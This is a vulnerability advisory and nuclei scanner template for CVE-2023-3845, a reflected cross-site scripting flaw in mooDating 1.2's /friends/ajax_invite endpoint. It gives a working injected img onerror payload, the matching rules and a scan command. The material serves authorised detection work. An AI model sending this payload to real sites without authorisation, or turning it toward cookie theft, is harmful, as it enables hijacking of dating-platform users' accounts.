CVE-2023-3845· moosocial / moodating· CWE-79
MooDating 1.2 - Cross-Site Scripting
A vulnerability was found in mooSocial mooDating 1.2. It has been rated as problematic. Affected by this issue is some unknown functionality of the file /friends/ajax_invite of the component URL Handler. The manipulation leads to cross site scripting. The attack may be launched remotely.
Impact
Unauthenticated attackers can inject malicious JavaScript through URL parameters in the ajax_invite endpoint to steal dating platform user session cookies and access personal profile information.
Fix
Update mooSocial mooDating to a version newer than 1.2 that properly sanitizes and encodes URL parameters in the friends/ajax_invite component.
How to confirm it
Send: GET {{BaseURL}}/friends/ajax_invitej7hrg%22%3e%3cimg%20src%3da%20onerror%3dalert(document.domain)%3ef26v4?mode=model
Positive when: status_code == 404 and contains(content_type, "text/html") and contains_all(body, "><img src=a onerror=alert(document.domain)>", "mooDating")Run it with nuclei: nuclei -id CVE-2023-3845 -u <target>
The full check
id: CVE-2023-3845
info:
name: MooDating 1.2 - Cross-Site Scripting
author: r3Y3r53
severity: medium
description: |
A vulnerability was found in mooSocial mooDating 1.2. It has been rated as problematic. Affected by this issue is some unknown functionality of the file /friends/ajax_invite of the component URL Handler. The manipulation leads to cross site scripting. The attack may be launched remotely.
impact: |
Unauthenticated attackers can inject malicious JavaScript through URL parameters in the ajax_invite endpoint to steal dating platform user session cookies and access personal profile information.
remediation: |
Update mooSocial mooDating to a version newer than 1.2 that properly sanitizes and encodes URL parameters in the friends/ajax_invite component.
reference:
- https://packetstormsecurity.com/files/173691/mooDating-1.2-Cross-Site-Scripting.html
- https://nvd.nist.gov/vuln/detail/CVE-2023-3845
- https://vuldb.com/?ctiid.235196
- https://vuldb.com/?id.235196
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-3845
cwe-id: CWE-79
epss-score: 0.05955
epss-percentile: 0.93341
cpe: cpe:2.3:a:moosocial:moodating:1.2:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: moosocial
product: moodating
tags: cve2023,cve,packetstorm,xss,moodating,moosocial,vuln
http:
- method: GET
path:
- "{{BaseURL}}/friends/ajax_invitej7hrg%22%3e%3cimg%20src%3da%20onerror%3dalert(document.domain)%3ef26v4?mode=model"
matchers:
- type: dsl
dsl:
- 'status_code == 404'
- 'contains(content_type, "text/html")'
- 'contains_all(body, "><img src=a onerror=alert(document.domain)>", "mooDating")'
condition: andReferences
- https://packetstormsecurity.com/files/173691/mooDating-1.2-Cross-Site-Scripting.html
- https://nvd.nist.gov/vuln/detail/CVE-2023-3845
- https://vuldb.com/?ctiid.235196
- https://vuldb.com/?id.235196
Use this check only on systems you are authorised to test. Where the data comes from